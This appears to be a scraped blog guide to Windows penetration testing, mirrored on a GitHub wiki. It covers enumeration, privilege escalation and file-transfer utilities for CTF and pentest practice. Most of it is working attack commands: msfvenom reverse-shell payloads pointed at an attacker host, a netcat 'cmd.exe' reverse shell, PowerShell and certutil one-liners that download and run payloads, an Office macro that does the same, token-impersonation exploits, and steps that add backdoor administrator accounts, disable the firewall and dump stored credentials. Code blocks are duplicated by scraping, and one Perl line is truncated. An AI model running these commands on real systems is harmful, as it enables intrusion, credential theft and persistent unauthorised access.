Pentesting Windows - whiteowl911/leveleffect GitHub Wiki
Skip to content
Rogue Security
Looking under the hood
Home
About Me
A guide for windows penetration testing
Home
General
A guide for windows penetration testing
December 2, 2018 roguesecurity 0 0 0
Windows penetration testing is one of the grey area where many beginner penetration testers struggles with. It is irony that most of us use windows for our day-to-day tasks but when it comes to penetration testing, we are more comfortable with Linux. The reason for this disparity in skills is because of the availability of numerous CTFs and resources available for Linux. Since Windows is not open source and it comes with a licensing cost, we see a fewer Windows CTFs for practice. HackTheBox is one ofthe great resource for practicing Windows penetration testing for free. If you are one of those people who fear windows enumeration and privilege escalation, this blog is for you. In this blog we are going to look into Windows penetration testing and also try to draw an analogy with its Linux counterpart wherever possible. Enumeration
Basic enumeration commands
Since Windows is known for its interactive GUI, its command line is very less utilized. In this section we will look into some basic windows command to kick off our enumeration. Command Description whoami Equivalent to Linux's whoami. Returns the name of currently logged in user systeminfo Similar to uname -a
Returns various system information including installed "Hot-fixes". This is particularly important for finding privilege escalation vector hostname Returns the machine name dir /r List all the directories (including hidden and ADS) echo %path% Similar to echo $PATH in linux set Returns the list of environment variables. Similar to env in linux tree /a /f Get the list of folders and files in tree structure. Very important command during enumeration phase ipconfig /all Returns the IP address of all the interfaces along with the MAC type file.txt
Get-Content file.txt (powershell) Read the file content copy Copy the file del /f filename Delete the file findstr /si password *.txt Search a particular word (e.g. 'password) within the file with particular extension (e.g. txt, ini, xml) findstr /b /s unattend.xml Search the location of particular file in current and all sub directories (/s) net users Returns the list of users on the system net user Information about the user net localgroup Administrators Get the list of administrators net localgroup Returns the list of groups on the system net share Get the list of locally shared drives net user /add Add a new user. (make sure password is complex so that it follows password policy if any) net localgroup administrators /add Make a user an administrator route print Print the routing table arp /A Print the ARP cache. It returns the IP address along with its respective MAC netstat /anto Returns the network statistics. Look for loopback services and other hosts with which the machine is interacting with wmic qfe get Caption,Description,HotFixID,InstalledOn Find the list of installed hot-fixes. Use findstr to identify the missing hot-fixes. e.g. wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4012212" /C:"KB4012215" sc stop|start "" Start/Stop the service NetSh Advfirewall set allprofiles state off (on newer versions)
netsh firewall set opmode disable (on older versions) Disable Windows firewall tasklist Get list of running processes taskill /IM /f Kill the service shutdown /r /t 0 Restart the system time Check current time powershell get-content file.txt -Stream hidden.txt Read the alternate data stream (ADS) Get-Acl file | fl * Get the file permission using powershell
Checking each of the above commands manually is tedious and takes lot of time. There is a batch script which automates the enumeration and provides the result in a nice readable format. This script can be downloaded from here. Upload this script on the target machine and run it to automate the enumeration process. There is also a powershell alternative of this script which can be downloaded from here.
Privilege Escalation
This is one of the area where most of the beginner pentesters are afraid off. In this section, we will see some of the basic privilege escalation vectors on Windows machine and different ways to exploit them. Below are list of some common privilege escalation techniques:
Missing Patches
Stored Credentials
Pass The Hash
Group Policy Preferences
Token Manipulation
Secondary Logon Handle
Unquoted Service
Insecure Registry Permissions
Intel SYSRET
Always Install Elevated
DLL injection
DLL Hijacking
Weak/insecure Service Permission
Insecure File/Folder Permissions
- Missing Patches and Kernel Exploits
Windows OS receives the security updates at regular interval. If the system is not updated, there is a good chance that a critical security patch might be missing. Once we have the list of missing patch, we can use the relevant exploit to escalate our privilege. There are different ways to check for missing patches: WMIC
wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4012212" /C:"KB4012215" 1 2
wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4012212" /C:"KB4012215"
Metasploit
Once we have the meterpreter shell on Windows machine, we can use the post/windows/gather/enum_patches module to enumerate for missing patches. Sherlock
There is a great powershell script from Rasta Mouse called Sherlock with uses the Microsoft database for list of latest patches and checks if the system has all of them installed. Upload the Sherlock.ps1 file on the target machine and run the check using PowerShell.exe Find-AllVulns. Windows Exploit Suggester
There is a python script which enumerates the windows machine and suggest the possible exploit. The script can be found here.
Compilation is one of the pain while dealing with Windows kernel exploit. There is an excellent github repository where we can find many pre-compiled windows exploit.
Note: Be extra cautious before using any of these pre-compiled exploits. Using these exploits can be fine for CTFs but for real pentest engagements, it is not advisable. 2. Stored Credentials
Stored credentials can be found at multiple locations like unintended installation (unattend.xml, sysprep.inf, sysprep.xml), configuration files (vnc.ini, ultravnc.ini, web.config), 3rd party softwares (SiteList.xml for McAfee, VNC, Putty) and registry. Below are the few ways to find stored credentials. Powersploit
This is a collection of various powershell modules to help in different stages of penetration testing. This script can be downloaded from here. Different modules which help to dump the stored credentials are
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
Metasploit
Once we have the meterpreter shell, we can use the following metasploit modules to dump the stored credentials
post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend
post/windows/gather/credentials/windows_autologin
Manual
Look into the registry for auto-logon credentials //command prompt reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
//Powershell Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*" 1 2 3 4 5
//command prompt reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
//Powershell Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
This enumeration script mentioned earlier can also enumerate for stored credentials and dump them in a file. 3. Pass The Hash
In windows environment, LM/NTLM hash is used to authenticate to the remote server instead of plain text password. If we have the administrator access on the windows system, we can dump the hash from the memory using the tools like Windows Credential Editor (wce.exe) and fgdump.exe. Both the tools are available in the default Kali installation. 4. Group Policy Preferences (GPP)
This method is applicable for the systems present in Active Directory Domain environment. One of the functionality of Group Policy Preferences is to change the local administrator password of the systems connected to the domain environment. Groups.xml file on the domain controller stores the encrypted password. This file is stored at the location \\SYSVOL. Once we have the decrypted password, we can have local administrator level access on the other systems connected to the domain. Below are the different ways to exploit this issue. Manual
Check if SYSVOL share can be mounted: net use z: \\<DOMAIN>\SYSVOL
Check if Groups.xml file exists: dir /s Groups.xml
Open Groups.xml file and copy the attribute cpassword
Decrypt cpassword using gpp-decrypt utility present in Kali
Powersploit
Use the following Powersploit modules to exploit the gpp
Get-CachedGPPPassword
Get-GPPPassword
Metasploit
Once we have the meterpreter shell, we can use the post/windows/gather/credentials/gpp post exploitation module to test for vulnerable gpp 5. Token Manipulation
This method is applicable in case when we have compromised a service running as NT AUTHORITY\Network Service. There are various ways to escalate or privilege from Network Service to SYSTEM. Metasploit
Download rottenpotato.exe from here
Using meterpreter shell, upload the exe to the victim machine
Use the following commands from meterpreter shell
//If service is not running as SYSTEM meterpreter> execute -f rottenpotato.exe -Hc meterpreter> list_tokens -u meterpreter> impersonate_token "NT AUTHORITY\System"
//If service is running as Administrator meterpreter> use incognito meterpreter> load incognito meterpreter> list_tokens -u meterpreter> impersonate_token "NT AUTHORITY\System" 1 2 3 4 5 6 7 8 9 10
//If service is not running as SYSTEM meterpreter> execute -f rottenpotato.exe -Hc meterpreter> list_tokens -u meterpreter> impersonate_token "NT AUTHORITY\System"
//If service is running as Administrator meterpreter> use incognito meterpreter> load incognito meterpreter> list_tokens -u meterpreter> impersonate_token "NT AUTHORITY\System"
Powersploit
Use the following modules for token impersonation
Invoke-TokenManipulation -Enumerate
Invoke-TokenManipulation -ImpersonateUser -UserName “SystemName\Administrator”
Manual-1
Download potato.exe from here
Upload the executable to the victim
Execute the following command to add a user to administrator group
Potato.exe -ip 10.10.10.10 -cmd C:\Windows\System32\cmd.exe -K net localgroup administrators roguesecurity /ADD" -disable_exhaust true -disable_defender true 1
Potato.exe -ip 10.10.10.10 -cmd C:\Windows\System32\cmd.exe -K net localgroup administrators roguesecurity /ADD" -disable_exhaust true -disable_defender true
Manual-2
Download MSFRottenPotato.exe/LonelyPotato from here
Create a reverse shell payload using: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 > shell.exe
Upload MSFRottenPotato.exe and shell.exe to the victim
Open the netcat listener on the attacker machine: nc -nlvp 443
Execute the exploit to get back the reverse shell: C:\MSFRottenPotato.exe shell.exe * shell.exe
- Secondary Logon Handle
This exploit requires the Remote Desktop Connection to the victim machine. Check if target is vulnerable wmic qfe list | find "3139914" 1
wmic qfe list | find "3139914"
Metasploit
use the following metasploit module to exploit this vulnerability exploit/windows/local/ms16_032_secondary_logon_handle_privesc Powershell
Download the powershell exploit script from here and execute the script. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”. powershell -exec bypass Import-Module .\39719.ps1 Invoke-MS16-032 1 2 3
powershell -exec bypass Import-Module .\39719.ps1 Invoke-MS16-032
Manual
Download the exploit binary from here and execute it. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”. 7. Unquoted Service
This method requires the restart of vulnerable service. Below are the different ways to exploit this issue Manual
Find the services running without quotes
Identify the privilege of service running by using services.msc: wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\windows\\” |findstr /i /v “””
Check if the normal user is having write access to the directory where service’s executable is located or in another previous directory. BUILTIN\Users should have RX or Full (F) privilege: icacls “C:\Program Files(x86)\Servicename”
Generate a payload using msfvenom and add the malicious exe in the path: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=AttackerIP LPORT=AttackerPort -f exe -o shell.exe
Open the meterpreter listener on the attacker
Restart the service
Metasploit
Once we have the meterpreter session, use the following command to exploit this vulnerability. If everything goes ok, we will get a new meterpreter session with elevated privilege. use exploit/windows/local/trusted_service_path set session [existing meterpreter session number] set payload windows/meterpreter/reverse_tcp set LHOST AttackerIP set LPORT AttackerPort exploit 1 2 3 4 5 6
use exploit/windows/local/trusted_service_path set session [existing meterpreter session number] set payload windows/meterpreter/reverse_tcp set LHOST AttackerIP set LPORT AttackerPort exploit
Powersploit
Get the list of all the unquoted services: Get-ServiceUnquoted
Generate a payload using msfvenom (shell.exe) as mentioned earlier
Replace the existing service with the malicious service to get the shell with administrator privilege: Write-ServiceBinary -Name “ServiceName from above command” -Path “Path\adduser.exe”
Open the meterpreter listener on the attacker
Restart the service
-
Insecure Registry Permissions
Download subinacl.exe from here. Check the permission for HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services using subinacl.exe /keyreg For the service to be vulnerable, check for the following: Key and SubKey – Type of Access: Full Control modify the registry to include malicious executable link: reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ServiceName” /t REG_EXPAND_SZ /v SomeKey /d “C:\Payload.exe” /f
-
Intel SYSRET Metasploit
Download the sysret.exe from here. Upload it using existing meterpreter session: upload /root/sysret.exe Escalate the privilege by executing the exploit and attaching it to the current process
meterpreter> getpid meterpreter> execute -H -f sysret.exe -a "-pid 2345" 1 2
meterpreter> getpid meterpreter> execute -H -f sysret.exe -a "-pid 2345"
Manual
Upload the sysret.exe to the victim
Get the process ID of the explorer.exe using tasklist
Escalate the privilege by executing the exploit and attaching it to the explorer.exe process: sysret.exe -pid 1234
-
Always Install Elevated Manual
Look for the installer (.msi) with elevated privileges
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 1 2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Generate a malicious .msi using msfvenom
//Add new user msfvenom -f msi-nouac -p windows/adduser USER=roguesecurity PASS=Rogu3Security! -o adduser.msi 1 2
//Add new user msfvenom -f msi-nouac -p windows/adduser USER=roguesecurity PASS=Rogu3Security! -o adduser.msi
Upload the malicious msi to victim machine
Execute the msi [/quiet = Suppress any messages to the user during installation; /qn = No GUI; /i = Regular (vs. administrative) installation]
msiexec /quiet /qn /i adduser.msi msiexec /quiet /qn /i adduser.msi 1
msiexec /quiet /qn /i adduser.msi msiexec /quiet /qn /i adduser.msi
Metasploit
Once we have the meterpreter shell, use the exploit/windows/local/always_install_elevated post exploitation module to escalate the privilege. PowerSploit
Use the following powersploit module for privilege escalation using AlwaysInstallElevated policy setting.
Import-Module Privesc
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI
-
DLL injection Manual
Download the RemoteDLLInjector from here. Create a malicious dll using msfvenom (payload.dll) Upload the malicious dll Inject the malicious dll to the vulnerable process using: RemoteDLLInjector64.exe 1234 C:\payload.dll
Metasploit
Use the metasploit post/windows/manage/reflective_dll_inject post exploitation module to escalate the privilege. Powersploit
Invoke-DLLInjection -ProcessID 1234 C:\payload.dll 1
Invoke-DLLInjection -ProcessID 1234 C:\payload.dll
- DLL Hijacking
This vulnerability exploits the weak permissions on the folders. If a vulnerable service is running with administrator privilege, a dll of the service can be replaced with the malicious dll to escalate the privilege. Before exploiting this issue, we need to know the order in which dll path is searched before getting loaded. This will help us to take the decision regarding where to place our malicious dll payload. Below is the order in which the dlls are loaded:
Application directory
C:\Windows\System32 (System directory)
C:\Windows\System (16-bit System directory)
C:\Windows
Current working directory
System PATH environment variables
User PATH environment variables
Manual
Look for the non-default directory in the “C:\” folder
Look for non-default directories in PATH environment variable and check for the write access to the folder
Use the tool process monitor to look for the process with missing dll. Create a reverse shell dll and place it in the appropriate directory as mentioned above.
msfvenom -p windows/shell_reverse_tcp_tcp LHOST=10.10.10.10 LPORT=443 -f dll 1
msfvenom -p windows/shell_reverse_tcp_tcp LHOST=10.10.10.10 LPORT=443 -f dll
Powersploit
//Look for the services with missing DLL Find-ProcessDLLHijack
//Look for the directories with write access Find-PathDLLHijack
//Create a malicious dll and place it in the writable directory Write-HijackDll 1 2 3 4 5 6 7 8
//Look for the services with missing DLL Find-ProcessDLLHijack
//Look for the directories with write access Find-PathDLLHijack
//Create a malicious dll and place it in the writable directory Write-HijackDll
Note: A restart of vulnerable service is required to execute the malicious dll 13. Weak/insecure Service Permission
If the low privileged user has the write permission to the directories where application executable are stored, the genuine binaries can be replaced with the malicious executable files and it will lead to escalation of privileges if the service is running as administrator. Below are the different ways to exploit this issue Manual
Use accesschk.exe to list all the services that a particular user can modify. Look for “SERVICE_ALL_ACCESS” permissions accesschk.exe /accepteula -uwcqv "Users" * 1
accesschk.exe /accepteula -uwcqv "Users" *
Check the status of the service. Look for “SERVICE_START_NAME : LocalSystem” and “BINARY_PATH_NAME” sc qc "ServiceName" 1
sc qc "ServiceName"
Modify the service to create a new user and add it to local administrator group //Add new user sc config "ServiceName" binpath= "net user roguesecurity Rogu3Security! /add"
//Add the user to local administrator group sc config "ServiceName" binPath="net localgroup administrators roguesecurity /add" 1 2 3 4 5
//Add new user sc config "ServiceName" binpath= "net user roguesecurity Rogu3Security! /add"
//Add the user to local administrator group sc config "ServiceName" binPath="net localgroup administrators roguesecurity /add"
Restart the service sc stop "service" sc start "service" 1 2
sc stop "service" sc start "service"
Powersploit
//Get the list of all user modifiable services Get-ModifiableService | more
//Modify the service and add a new user "john" with password as Password123! and restart the service Invoke-ServiceAbuse 1 2 3 4 5
//Get the list of all user modifiable services Get-ModifiableService | more
//Modify the service and add a new user "john" with password as Password123! and restart the service Invoke-ServiceAbuse
If the user has write permission into the folder where the binary of the service is located, then it is possible to just replace the binary with the a custom payload and then restart the service in order to escalate privileges. //Get the full list of modifiable services running with the permissions Get-ModifiableServiceFile | more
//Create a binary to add a user "john" with password "Password123!" to local administrator group Write-ServiceBinary 1 2 3 4 5
//Get the full list of modifiable services running with the permissions Get-ModifiableServiceFile | more
//Create a binary to add a user "john" with password "Password123!" to local administrator group Write-ServiceBinary
Metasploit
If we have a meterpreter session, we can use the metasploit post exploitation module exploit/windows/local/service_permissions to automatically exploit this vulnerability and escalate our privilege. 14. Insecure File/Folder Permissions
Look for files and folders for full access (F). Use ‘M’ for modify access. //Command Prompt icacls "C:\Program Files*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
//Powershell Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} 1 2 3 4 5 6 7 8 9 10
//Command Prompt icacls "C:\Program Files*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
//Powershell Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Upload accesschk.exe to find writable folders and files accesschk.exe /accepteula -uwcqv "Authenticated Users" * accesschk.exe /accepteula -uwcqv "Everyone" * accesschk.exe /accepteula -uwcqv "Users" * 1 2 3
accesschk.exe /accepteula -uwcqv "Authenticated Users" * accesschk.exe /accepteula -uwcqv "Everyone" * accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe with can be downloaded from here. Replace the existing executable with the malicious payload and restart the service.
Some automated resources for windows privilege escalation and exploit suggestion are
windows-privesc-check
Windows-Exploit-Suggester
JAWS
Metasploit : post/multi/recon/local_exploit_suggester
Few repositories with important windows binaries and exploits
WHP
Kernel Exploits
Privilege escalation exploits – 1
Privilege escalation exploits – 2
Utilities
People coming from Linux background often face difficulty in executing basic tasks in Windows environment like file transfer and reverse shell. Windows is completely different environment and we don’t have the luxury of rich Linux utilities like wget, curl, python etc. In this section we will look into some common utilities and tasks which people frequently face during their pentest engagements. Windows payload generation
.aspx payload. meterpreter listener required on attacker side msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f aspx
.exe non staged payload for 64-bit system. nc listener required on attacker side msfvenom -p windows/x64/shell_reverse_tcp LHOST=attackerIP LPORT=attackerPort -f exe -a x64 -o shell.exe
.exe payload for 32-bit system. meterpreter listener required on attacker side msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=attackerIP LPORT=attackerPort -f exe -o shell.exe
.msi payload which will execute a reverse shell executable (shell.exe) msfvenom -p windows/exec cmd=”C:\Users\testuser\AppData\Local\Temp\shell.exe” -f msi-nouac -o payload.msi
.msi payload which will add a new user msfvenom -f msi-nouac -p windows/adduser USER= PASS= -o payload.msi
.dll payload for 64-bit system. meterpreter listener required on attacker side msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f dll -o shell.dll
.bin payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f raw -o test.bin Reverse Shell asp/aspx
Generate the payload using msfvenom and upload it to the victim msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f aspx > shell.aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f asp > shell.asp 1 2 3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f aspx > shell.aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f asp > shell.asp
powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=attackerIP LPORT=attackerPort
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell') "" 1 2 3
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=attackerIP LPORT=attackerPort
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell') ""
nishang
Invoke-PowerShellTcp.ps1 is a reverse shell written in powershell. Download the script from here.
Upload Invoke-PowerShellTcp.ps1 to the victim.
Open a netcat listener on the attacker machine to get the shell back
netcat
Upload the nc.exe to the victim machine and execute the following to get the reverse shell nc.exe -e cmd.exe attackerIP attackerPort 1
nc.exe -e cmd.exe attackerIP attackerPort
perl
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"$attackerip:4444");STDIN->fdopen(
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"$attackerip:4444");STDIN->fdopen(
php
msfvenom -p php/reverse_php LHOST=attackerIP LPORT=attackerPort -f raw -o shell.php msfvenom -p php/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -o shell.php msfvenom -p generic/shell_reverse_tcp LHOST=attackerIP LPORT=attackerPort -f php -o shell.php 1 2 3
msfvenom -p php/reverse_php LHOST=attackerIP LPORT=attackerPort -f raw -o shell.php msfvenom -p php/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -o shell.php msfvenom -p generic/shell_reverse_tcp LHOST=attackerIP LPORT=attackerPort -f php -o shell.php
File Transfer
If we have a shell on windows machine, there are multiple ways to transfer file from the attacker to the victim machine. vbscript
Paste the following list of commands in shell obtained on windows machine. This will generate a visual basic script for file transfer. This script can also be downloaded from here. echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
A web server must be running on the attacker machine. Use the following command to transfer the file from attacker to victim cscript wget.vbs http://attackerIP:attackerPort/file-to-transfer filename-on-victim 1
cscript wget.vbs http://attackerIP:attackerPort/file-to-transfer filename-on-victim
powershell
Single liner //Powershell 3.0 and higher Invoke-WebRequest "http://attackerIP:attackerPort/filename" -OutFile "C:\Windows\Temp\filename"
//Below Powershell 2 (New-Object System.Net.WebClient).DownloadFile("http://attackerIP:attackerPort/filename", "C:\Windows\Temp\filename")
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://attackerIP:attackerPort/filename','C:\Users\YOURUSER\Desktop\filename')" 1 2 3 4 5 6 7
//Powershell 3.0 and higher Invoke-WebRequest "http://attackerIP:attackerPort/filename" -OutFile "C:\Windows\Temp\filename"
//Below Powershell 2 (New-Object System.Net.WebClient).DownloadFile("http://attackerIP:attackerPort/filename", "C:\Windows\Temp\filename")
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://attackerIP:attackerPort/filename','C:\Users\YOURUSER\Desktop\filename')"
Generate a file transfer script in powershell. Paste the following commands in windows terminal. Modify the attackerIP, attackerPort and filename to the desired value. echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://attackerIP:attackerPort/filename" >>wget.ps1 echo $file = "output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1 1 2 3 4
echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://attackerIP:attackerPort/filename" >>wget.ps1 echo $file = "output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
After generating the file transfer script(wget.ps1), execute the script to transfer the file. powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
ftp
If ftp client is available on the windows machine, attacker machine can open a ftp server for file transfer. Use the following command to transfer the file. Modify the attackerIP, attackerPort, filename, attackerUsername and attackerPassword to the desired value. echo open attackerIP, attackerPort> ftp.txt echo USER attackerUsername>> ftp.txt echo attackerPassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt 1 2 3 4 5 6 7
echo open attackerIP, attackerPort> ftp.txt echo USER attackerUsername>> ftp.txt echo attackerPassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt
smb
Create a SMB server on attacker machine. Download the script from here.
Run the script by providing the share name and share directory.
smbserver.py pwd
1
smbserver.py pwd
On the windows machine, use the following powershell command to receive the file. Modify the attackerIP and shareName to the desired value. New-PSDrive -Name "shareName" -PSProvider "FileSystem" -Root "\attackerIP\shareName" cd sharedFolder cp sharedFile 1 2 3
New-PSDrive -Name "shareName" -PSProvider "FileSystem" -Root "\attackerIP\shareName" cd sharedFolder cp sharedFile
Web Shell
Upload the asp/aspx web shell with file upload option on the server. They can be downloaded from here. windows remote management ( winrm )
Use this ruby script to transfer the file via winrm. Using macro for RCE and download files
Generate the reverse shell payload (reverseShell.exe) using msfvenom Sub OnLoad shell("cmd /c certutil -urlcache -split -f http://attackerIP/reverseShell.exe -f c:\Temp\Shell.exe && c:\Temp\Shell.exe") End Sub 1 2 3
Sub OnLoad shell("cmd /c certutil -urlcache -split -f http://attackerIP/reverseShell.exe -f c:\Temp\Shell.exe && c:\Temp\Shell.exe") End Sub
Working with remote desktop (RDP)
Create your own user net user $username $password /add
Add user to administrator group net localgroup administrators $username /add
Add new user to the “Remote Desktop Users” group net localgroup “Remote Desktop Users” $username /add
Access the system via RDP on Kali rdesktop -g 90% IP
Enable RDP via metasploit use the module post/windows/manage/enable_rdp Port Forwarding
Upload plink.exe. This executable can be found in default Kali installation.
Start SSH on attacker machine
Expose internal service (eg SMB) using plink.exe -l root -pw password -R 445:127.0.0.1:445 attackerIP
Shell using SMB
Like SSH in Linux, SMB service is exposed on most of the windows machine be it servers or workstations. For a pentester, it is important to know the SMB capabilities and how to utilize them during the course of pentesting. To give an analogy, consider you find a SSH server running on a Linux machine. Some of the ideas which come to our minds are login via SSH if we find any credentials, port forwarding, file transfer e.t.c. Similarly on windows machine, we can get the shell if we have the credentials/hash. Below are some of the techniques to get remote code execution/reverse shell using SMB. Metasploit smb login
Use the metasploit module auxiliary/scanner/smb/smb_login and windows/smb/psexec to get the shell. psexec allow us to pass the compromised credentials and authenticate to another Domain machine. CrackMapExec
Download the script from here. Replace the IP, domain, username and password with the appropriate value. python crackmapexec.py IP/24 -d domain -u username -p password
